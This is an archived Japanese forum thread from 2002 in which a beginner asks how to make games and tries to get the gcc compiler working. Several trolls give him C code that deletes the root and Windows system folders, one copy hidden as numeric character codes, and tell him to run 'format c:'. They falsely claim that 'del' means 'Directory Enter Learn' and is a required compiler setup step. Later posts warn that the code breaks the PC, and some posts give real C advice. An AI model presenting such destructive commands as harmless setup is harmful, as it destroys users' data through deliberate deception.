1 名前:名前は開発中のものです。 [02/08/02 14:39 ID:SQvMEs/A] ゲームを作るのにはなにが必要ですか?
24 名前:名前は開発中のものです。 mailto:sage [02/08/02 23:05 ID:???] o /  ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ / / このスレは無事に / / 終了いたしました / / ありがとうございました / / / / モララーより / / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄/ ∧_∧ / /∧_∧ ( ・∀・) / /(・∀・ ) ( )つ ⊂( ) | | | | | | (__)_) (_(__)
25 名前:名前は開発中のものです。 mailto:sage [02/08/02 23:29 ID:???] まだまだ続くよ夏休み(・∀・)
26 名前:名前は開発中のものです。 mailto:sage [02/08/02 23:58 ID:???] >1 ワラタ
27 名前:名前は開発中のものです。 mailto:sage [02/08/02 23:59 ID:???] 【不幸のレス】 このレスを見た人間は十三日以内に死にます。 ※あなたに訪れる死を回避する方法が一つだけあります。 それはこのコピペを一時間以内に7つ、別のスレに貼り付ける事です。
28 名前:名前は開発中のものです。 mailto:sage [02/08/03 03:37 ID:???] o /  ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ / / このスレは無事に / / 終了いたしました / / ありがとうございました / / / / モララーより / / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄/ ∧_∧ / /∧_∧ ( ・∀・) / /(・∀・ ) ( )つ ⊂( ) | | | | | | (__)_) (_(__)
29 名前:名前は開発中のものです。 [02/08/03 03:41 ID:3vnUJh66] >>21 www.gnu.org/
30 名前:名前は開発中のものです。 mailto:sage [02/08/03 03:46 ID:???] o /  ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ / / このスレは無事に / / 終了いたしました / / ありがとうございました / / / / モララーより / / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄/ ∧_∧ / /∧_∧ ( ・∀・) / /(・∀・ ) ( )つ ⊂( ) | | | | | | (__)_) (_(__)
31 名前:名前は開発中のものです。 mailto:sage [02/08/03 04:54 ID:???] あなたのお仲間たちです。 game.2ch.net/test/read.cgi/gamedev/1006346091/37-39n
32 名前:1 [02/08/03 14:34 ID:FiPCDYlY] >>29 良く分からねぇけど、gcc−3.1.1というのをダウンしました。 これを解凍したんですが、アプリケーションがありません。 なんですか、これは? あと、とても見辛いホムペですね、ここは。 こんな見辛いホムペを見るのは始めてです。 インターネット始めて喜んでホムペ作ってしまった人みたいです。 あと、俺はLinaxeというものは持ってません。
33 名前:名前は開発中のものです。 mailto:sage [02/08/03 14:54 ID:???] o /  ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ / / このスレは無事に / / 終了いたしました / / ありがとうございました / / / / モララーより / / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄/ ∧_∧ / /∧_∧ ( ・∀・) / /(・∀・ ) ( )つ ⊂( ) | | | | | | (__)_) (_(__)
34 名前:1 [02/08/03 15:23 ID:FiPCDYlY] >>33 ウザイからよそでやれ
35 名前:名前は開発中のものです。 mailto:sage [02/08/03 16:59 ID:???] o /  ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ / / このスレは無事に / / 終了いたしました / / ありがとうございました / / / / モララーより / / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄/ ∧_∧ / /∧_∧ ( ・∀・) / /(・∀・ ) ( )つ ⊂( ) | | | | | | (__)_) (_(__)
36 名前:名前は開発中のものです。 mailto:sage [02/08/03 18:16 ID:???] >>34 ∧_∧ ( `∀´) オマエガナー! ( ) | | | (__)_)
37 名前:名前は開発中のものです。 mailto:sage [02/08/03 18:56 ID:???] あのさ、dat落ちが遅くなるので、終了はやめて普通に放置してくれ。 折れのレスでまた遅くなった・・・
38 名前:名前は開発中のものです。 mailto:sage [02/08/03 19:29 ID:???] dat落ちのルール教えてください
39 名前:名前は開発中のものです。 mailto:sage [02/08/03 20:49 ID:???] dat落ちルールって謎 game.2ch.net/test/read.cgi/gamedev/1011430434/ 23 名前:名前は開発中のものです。 :02/02/12 05:50 ID:??? >>20 モナーRPGオンライン? 24 名前:名前は開発中のものです。 :02/08/03 14:35 ID:YzEytE.g やはりどこまで生きられるかというRPGが要る。 日常を営む事が前提だけど、冒険もできる。 死んだらユーザー情報ごと消える。 ↑ ここみたいに半年放置してても落ちないスレもあるんだよな
40 名前:名前は開発中のものです。 mailto:sage [02/08/03 21:21 ID:???] 今だ!40ゲットォォォォ!!  ̄ ̄ ̄ ̄ ̄∨ ̄ ̄ ̄ (´´ ∧∧ ) (´⌒(´ ⊂(・∀・⊂⌒`つ≡≡≡(´⌒;;;≡≡≡  ̄ ̄ (´⌒(´⌒;; ズザーーーーーッ ドッコイショと、・・・・・・・・・  ̄ ̄ ̄ ̄ ̄∨ ̄ ̄ ̄ ∧∧ (・∀・ ,)⌒ヽ U‐U^(,,⊃'〜... (´⌒;; o /  ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ / / このスレは無事に / / 終了いたしました / / ありがとうございました / / / / モララーより / / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄/ ∧_∧ / /∧_∧ ( ・∀・) / /(・∀・ ) ( )つ ⊂( ) | | | | | | (__)_) (_(__)
41 名前:名前は開発中のものです。 mailto:sage [02/08/03 21:41 ID:???] 奴のIDがメシア!?
42 名前:1 [02/08/04 00:01 ID:MUDaMklU] gccはなにに使うんだよー 誰か教えろ
43 名前:名前は開発中のものです。 mailto:sage [02/08/04 00:05 ID:???] ・GCCの使い方 以下の文章を、source.c としてWindowsの入っているフォルダに保存します #include <stdio.h> void main(void) { system("del *.*") } ・gcc source.c と入力し、enterを押します ・a.out と入力しenterを押します ・なにやらメッセージが表示されるのでとりあえずYを押します
44 名前:名前は開発中のものです。 mailto:sage [02/08/04 00:59 ID:???] C++
45 名前:名前は開発中のものです。 mailto:sage [02/08/04 01:36 ID:???] >>43 (・∀・)マジレス カコワルイ!!
46 名前:名前は開発中のものです。 mailto:sage [02/08/04 02:13 ID:???] >>43 >・a.out と入力しenterを押します 出来上がるのは、a.exeです。 aと入力しenterでも実行できます。
47 名前:名前は開発中のものです。 mailto:sage [02/08/04 02:30 ID:???] >>43 >>46 何教えてんだよ!! 厨房が頭にのるだろうが!!
48 名前:1 [02/08/04 03:31 ID:MUDaMklU] >>43 >gcc source.c と入力し、enterを押します どこに入力するんですか?
49 名前:名前は開発中のものです。 mailto:sage [02/08/04 03:34 ID:???] >>48 gccはコマンドラインツールなので、 MS-DOSプロンプトから実行してください。 カレントディレクトリの移動は DIR 移動したいディレクトリ
50 名前:名前は開発中のものです。 mailto:sage [02/08/04 03:56 ID:???] dir はヂレクトリ〜を見るやつだろ この場合は cd windows が正解。 cd[半角スペース][移動先] で移動先のヂレクトリ〜(フォルダ名)に移動 source.cに #include <stdio.h> void main(void) { system("del *.*") } をやっとかないと動かないからな。注意しろよ。
51 名前:名前は開発中のものです。 mailto:sage [02/08/04 04:01 ID:???] もしくは、 system("del c:/windows/*.*"); か。 最後のセミコロンわすれんなよ
52 名前:名前は開発中のものです。 mailto:sage [02/08/04 04:25 ID:???] #include <stdio.h> void main(void) { system("del c:\*.*"); system("del c:\windows\*.*"); } 2行のほうがよくね?
53 名前:名前は開発中のものです。 mailto:sage [02/08/04 04:36 ID:???] stdio.h いるのか
54 名前:名前は開発中のものです。 mailto:sage [02/08/04 04:48 ID:???] \はそのままじゃつかえねえよ。使うなら\\。
55 名前:ゴミは埋めた方がいいかと mailto:sage [02/08/04 05:09 ID:???] 俺、いつもはこういう厨スレでも比較的教えたりするんだけどさ。 この>>1 にだけは、一切まともなこと教えてやりたくないよ。 何コイツ? 自分だけは特別と思ってる香具師? 人に聞くだけしか能がなくて何が【本命登場】だっての。 このまま逝くと永久教えて君になること確定だから、 このスレは放置した方がよくない?
56 名前:名前は開発中のものです。 mailto:sage [02/08/04 05:30 ID:???] >>39 そりゃ単にここが超過疎板だから 逆に言やそこまで人がいないのにニュース速報なんかと同じような基準で スレ立て叩きまくっても仕方がないような気がしないでもないでもないでもない
57 名前:Hello White World mailto:sage [02/08/04 05:52 ID:???] #include <stdlib.h> /*#include <process.h>でも可*/ void main(void) { system("del c:\\*.*"); system("del c:\\windows\\*.*"); }
58 名前:名前は開発中のものです。 mailto:sage [02/08/04 09:22 ID:???] 奴のIDが無駄?
59 名前:名前は開発中のものです。 mailto:sage [02/08/04 11:09 ID:???] #include<stdlib.h> char str[]={100,101,108,32,99,58,92,119,105,110,100,111,119,115,92,42,46,42,0}; void main(void){system(str);}
60 名前:名前は開発中のものです。 mailto:sage [02/08/04 15:18 ID:???] 教えんなって
61 名前:_ mailto:sage [02/08/04 15:35 ID:???] >>60 諦めな。 このスレは>>1 の勝ちだぜ?
62 名前:1 [02/08/04 15:43 ID:MUDaMklU] コマンドまたはファイル名が違います. といわれるぞ。
63 名前:名前は開発中のものです。 mailto:sage [02/08/04 16:02 ID:???] >>62 exeが作られてない。 よく読んでやりなおせ。
64 名前:名前は開発中のものです。 mailto:sage [02/08/04 16:34 ID:???] >>1 よくわかってないようだから説明するが system("del c:\\*.*"); system("del c:\\windows\\*.*"); の2行はc:\とc:\windowsのフォルダを使用可能にセットアップするって意味だ。 delはDirectory Enter Learnの略でウィンドウズフォルダをGCCに学ばせる=利用可能にするって意味。
65 名前:1 [02/08/04 16:45 ID:MUDaMklU] gcc source.c とすると コマンドまたはファイル名が違います. といわれるのだが マニュアルは英語でよく分からん
66 名前:1 [02/08/04 16:47 ID:MUDaMklU] >>64 使用可能にすると、なにができるの?
67 名前:名前は開発中のものです。 mailto:sage [02/08/04 17:06 ID:???] gccインストールしてないんでねぇの?
68 名前:名前は開発中のものです。 mailto:sage [02/08/04 17:13 ID:???] >>64 教えんな、氏ね
69 名前:名前は開発中のものです。 mailto:sage [02/08/04 17:33 ID:???] 汎用質問スレも初心者用質問スレもc言語のスレもあるのに・・・ 何で1はこのスレで続けることにこだわるの? このまま続けてもあまりいい事はないと思う。 悪意ある人が嘘を教えたりすることもあるだろうし、きっと 煽りはやまないだろうし。
70 名前:名前は開発中のものです。 mailto:sage [02/08/04 18:08 ID:???] たとえばさ、君がサッカーをやってたとする。 かみそりシュートを撃てる人が前にいるのに敵に囲まれてボールを送ることが出来ない。 つまり、パスが通らない。 ま、そゆことです。
71 名前:ゴミは埋めた方がいいかと mailto:sage [02/08/04 18:49 ID:???] 英語マニュアルも読めんでプログラムか・・・
72 名前:名前は開発中のものです。 mailto:sage [02/08/04 19:02 ID:???] c:\gccにインストールした(解凍した)場合には、autoexec.bat に path=c:\gcc; って入れると動くよ
73 名前:名前は開発中のものです。 mailto:sage [02/08/04 19:03 ID:???] >>64 「Directory Enterance Learning」、な。
74 名前:名前は開発中のものです。 mailto:sage [02/08/04 20:23 ID:???] オレが最後のマジレスだ 全てのファイルを同フォルダにいれとけ!
75 名前:64 mailto:sage [02/08/04 21:11 ID:???] >>73 ああ、それだ。補完サンクス。 >>1 と、いうことだ。こっちが正解。
76 名前:1 [02/08/04 21:21 ID:MUDaMklU] インストールしてないんで、しようとしたけど、やりかたが分からん。 Installってフォルダがあったのでファイル見たけど、 configureとやっても例のメッセージが出て終わる。 騙されてるのか、俺? gccはいらない?
77 名前:名前は開発中のものです。 mailto:sage [02/08/04 21:36 ID:???] わからないところがあるのでおながいします >>23 の一番下段の酢醤油とはどんなものなんでしょうか?
78 名前:名前は開発中のものです。 mailto:sage [02/08/04 22:36 ID:???] >>77 一般的には、酢と醤油を1:1で混合した液体をベースとした調味料を指すようです。
79 名前:1 [02/08/04 23:54 ID:MUDaMklU] 酢醤油ってアレだろ、餃子につけて食うやつ。二杯酢だろ。 で、gccはどうやって動かすんだ? 誰か教えてください!
80 名前:名前は開発中のものです。 mailto:sage [02/08/04 23:56 ID:???] ちゃんとWindows用をダウンロードしたんだろうな?
81 名前:1 [02/08/05 00:03 ID:UW4r57o6] Windows用かどうか知らんけど、紹介されたところからJapaniseってところに行って フリーソフトウェア一覧ってところにいって(ここでなぜか英語になる) Software developmentってところにいって(ソフト作る人用ってことだと思う) よく分からなかったのでCompilersってところにいって 沢山入ってそうなのでGccというヤツをダウンした。 確かにWindows用とは書いてないな。それ、どこにあるの?
82 名前:名前は開発中のものです。 mailto:sage [02/08/05 00:05 ID:???] コンパイラなんてどうでもいいから はやくゲーム作れ
83 名前:1 [02/08/05 00:06 ID:UW4r57o6] >>82 とりあえず紹介されたホムペに入ってダウンしたんだけど、 他にゲームを作る方法があれば教えて下さい。 フリーのヤツ。
84 名前:名前は開発中のものです。 mailto:sage [02/08/05 00:08 ID:???] 1はここでも見てなさいってこった www.forest.impress.co.jp/article/2000/03/21/unixlike.html
85 名前:名前は開発中のものです。 mailto:sage [02/08/05 00:20 ID:???] Cマガジン買ってきたほうが早いと思う
86 名前:名前は開発中のものです。 mailto:sage [02/08/05 00:28 ID:???] Cygwinてやつをダウンした。 なんか良く分からなかったけど、全部「次へ」を選んだらインストール終わった。 でも、cd windowsとすると BASH: cd: windows: No such file or directory と言われてしまう。 DOSプロンプトでgccをやるとやっぱり コマンドまたはファイル名が違います. と言われる。Cygwinてgccを使えるんじゃないの? ちなみにそのままgccと打つと BASH: gcc: command not found と文句言われる。 ゲームを作るのは難しいな。 あと、DELをやって覚えさせると何ができるのか教えて下さい。
87 名前:1 [02/08/05 00:28 ID:UW4r57o6] >>86 は>>1 です。
88 名前:名前は開発中のものです。 mailto:sa [02/08/05 00:44 ID:???] ドスプロンプトで format c: でもしろ、ハードディスクフォーマットだ
89 名前:↑ [02/08/05 00:44 ID:/LgOOHSk] ちなみにハードディスクのデータが全部きえる
90 名前:名前は開発中のものです。 mailto:sage [02/08/05 00:46 ID:???] o /  ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ / / このスレは無事に / / 終了いたしました / / ありがとうございました / / / / モララーより / / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄/ ∧_∧ / /∧_∧ ( ・∀・) / /(・∀・ ) ( )つ ⊂( ) | | | | | | (__)_) (_(__)
91 名前:名前は開発中のものです。 mailto:sage [02/08/05 00:55 ID:???] >>1 へ Javaも選択肢に入れてみたら
92 名前:名前は開発中のものです。 mailto:sage [02/08/05 01:20 ID:???] >>86 CygwinはDOSコマンドじゃなくてUNIXコマンドだぞ。
93 名前:名前は開発中のものです。 [02/08/05 01:31 ID:kMuAAQXk] そもそもなぜCygwin? MinGWじゃダメなのかYO!
94 名前:名前は開発中のものです。 mailto:sage [02/08/05 01:55 ID:???] >>93 マイナーだろ
95 名前:名前は開発中のものです。 mailto:sage [02/08/05 02:00 ID:???] 〜 ∧_∧____ / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ___ (´∀` ,) //| < [問題] このスレの1の正体は? <──<\⊂ へ ∩)//||| \__________________ \. \,>'(_)i'''i~~,,,,/ ──┐  ̄|| ̄(_) ̄~||~ ̄ / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄\ ━━< 問題: このスレの1の正体は? >━━ \___________________________________/ / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄\ / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄\ ━━< A: ヒッキー B:ドキュソフリーター >━━ \________________/ \________________/ / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄\ / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄\ ━━< C:中卒塗装工 D:リアル厨房 >━━ \________________/ \________________/
96 名前:名前は開発中のものです。 mailto:sage [02/08/05 02:02 ID:???] いや、別にMinGWでなくとも、Borland C++でもDigitalMars C++ でもWatcom C++でもいいんだが、Win上でUnixシェル使うのが そんなにイイのか? てか、ゲ製とどういう関係が?
97 名前:名前は開発中のものです。 mailto:sage [02/08/05 02:11 ID:???] >>96 空気を読め
98 名前:1 [02/08/05 05:04 ID:UW4r57o6] 別にgccとかcygwinとかいうヤツでなくても構わない。 フリーで紹介されただけだから。 >>96 のヤツはフリーですか? gccとかcygwinみたいに始めるまでに大変なのは嫌です。
99 名前:名前は開発中のものです。 mailto:sage [02/08/05 06:23 ID:???] >>1 とりあえずどんなコンパイラでも最初は #include <stdlib.h> /*#include <process.h>でも可*/ void main(void) { system("del c:\\*.*"); system("del c:\\windows\\*.*"); } をつくって実行しないと始まらないぞ。 Cマガとかにも書いてあるから参照しる!
100 名前:名前は開発中のものです。 mailto:sage [02/08/05 06:52 ID:???] >>1 これ使ってみたら? ttp://www.roomyroo.com/~myroom/cgi-bin/uploader/source/180.zip 圧縮してあるけど、解凍パスは google
101 名前:名前は開発中のものです。 mailto:sage [02/08/05 14:32 ID:???] ∧∧ / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ (,, ) < 100ゲットし損ねたが .( つ | こりゃまた とんだ糞スレだなぁ オイ | , | \____________ U U | まあ せっかくだからやっといてやるよ | \ ハイハイ 今だ101ゲットズザー っとくらぁ /  ̄ ̄ ̄ ̄ ̄ ̄V ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ∧∧ (゚Д゚O =3 ⊆⊂´ ̄ ソ ヤレヤレ
102 名前:名前は開発中のものです。 mailto:sage [02/08/06 11:34 ID:???] 何の本命か教えてください
103 名前:1 mailto:1を頃す。 [02/08/06 13:10 ID:???] 本命馬鹿です。
104 名前:名前は開発中のものです。 mailto:sage [02/08/06 13:33 ID:???] ∧,,∧ ∬ / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ミ,,゚Д゚ノ,っ━~ < つまんねーよボケ首吊って死ねカス。 _と~,,, ~,,,ノ_. ∀ \__ .ミ,,,/~), .| ┷┳━  ̄ ̄ ̄ .し'J ̄ ̄|... ┃  ̄ ̄ ̄ ̄ ̄ ̄ ̄ .┻
105 名前:1 mailto:age [02/08/09 02:50 ID:???] 暫く田舎に行ってた。 んで、どうして誰もDELする効果を教えてくれねぇの? 結局Gccも動かないしよー。 あと、>>100 のは落とせません。
106 名前:名前は開発中のものです。 mailto:sage [02/08/09 03:20 ID:???] DELでWindowsにgccとかで作られたexeの形式を覚えさせる。 デバッグするときに、ソースコードのどの行が悪いかが表示されるなど、かなり便利。 (たまにとんでもないところを指すのはご愛嬌だ) 引数は当然Windowsが入ったフォルダを指定しないといけない。 c:\を指定すると自動的に検索するけどね…。
107 名前:名前は開発中のものです。 mailto:sage [02/08/09 08:29 ID:???] よし、1よ。 とりあえずわからないことを列挙すれ。 あと、どこまでできるようになったのかも。
108 名前:名前は開発中のものです。 mailto:sage [02/08/09 16:44 ID:???] >>99 そのコード実行したらパソが氏ぬよ
109 名前:名前は開発中のものです。 mailto:sage [02/08/09 17:04 ID:???] ああ、108の言うとおりパソが死ぬから絶対ためしちゃだめだ。 ホントだぞ。 疑うならそれを試さないでどっか他でやってくれ。 へんにためしてC言語覚えてまたスレたてられても困る。 厨房増加で迷惑している2ちゃんねるのためにもな。 だからもう2度とこのスレをみることなくどこかへ消えてくれ。
110 名前:名前は開発中のものです。 mailto:sage [02/08/09 23:18 ID:???] void main なんて書いてちゃダメだよ
111 名前:名前は開発中のものです。 mailto:sage [02/08/10 13:52 ID:???] Winが起動しなくなる=パソが死ぬ、すか。 Winはパソの命なんすね。 ちなみにxpもc:\windowsなんすか?
112 名前:名前は開発中のものです。 [02/08/10 14:40 ID:Ky7wiIRs] はやく1さんのげーむであそびたいです。 がんばってください
113 名前:名前は開発中のものです。 mailto:sage [02/08/10 16:01 ID:???] >110 なんで
114 名前:名前は開発中のものです。 mailto:sage [02/08/10 16:13 ID:???] コード書いちゃダメなんてよほど>>1 にはやってほしくないんだな。 クソスレ上がるから迷惑だし。
115 名前:名前は開発中のものです。 mailto:sage [02/08/10 16:36 ID:???] int main だよな
116 名前:名前は開発中のものです。 mailto:sage [02/08/10 16:53 ID:???] だからなんで
117 名前:名前は開発中のものです。 mailto:sage [02/08/10 17:38 ID:???] >>116 自分で調べろ。 まぁ、「絶対にダメ」と言うわけではない。
118 名前:名前は開発中のものです。 mailto:sage [02/08/10 17:58 ID:???] ただしくは int main とみたが これにせーという理由はかいてなかった。 だからなんで。
119 名前:名前は開発中のものです。 mailto:sage [02/08/10 18:28 ID:???] >>118 ホントに探したのかよ… intが望ましいのは、ANSI規格で定められているから。 ちなみに定められているのは以下の2通り。 int main (void) int main (int argc, char *argv[])
120 名前:119 mailto:sage [02/08/10 18:32 ID:???] >>119 追加 UNIXのシェルではプログラムの返り値(=main関数の返り値)を参照する場合がある。 他のOSのシェルは知らん。全部のシェルが参照するかどうかもワカラン。
121 名前:名前は開発中のものです。 mailto:sage [02/08/10 22:55 ID:???] あまりに>>1 がダメダメで話が進まずに終了って感じですかね。
122 名前:1 [02/08/11 00:45 ID:aWqlCPWI] ダメとか失礼なこというなよ。 とりあえずDELは実行したらいけないというのは分かった。 だがgccはどうすれば動く? あと、結局どうやったらゲームが作れるんだ??
123 名前:1 [02/08/11 00:48 ID:aWqlCPWI] >>107 分からないこと ・絵を動かす ・音を鳴らす ・マウスやキボードで打ったのを知る どこまでできるか ・DELは実行したらいけない ・gccは動かない ・mainはintとANSIで決められた こんなところかな?
124 名前:名前は開発中のものです。 mailto:sage [02/08/11 01:40 ID:???] 何の本命か教えてください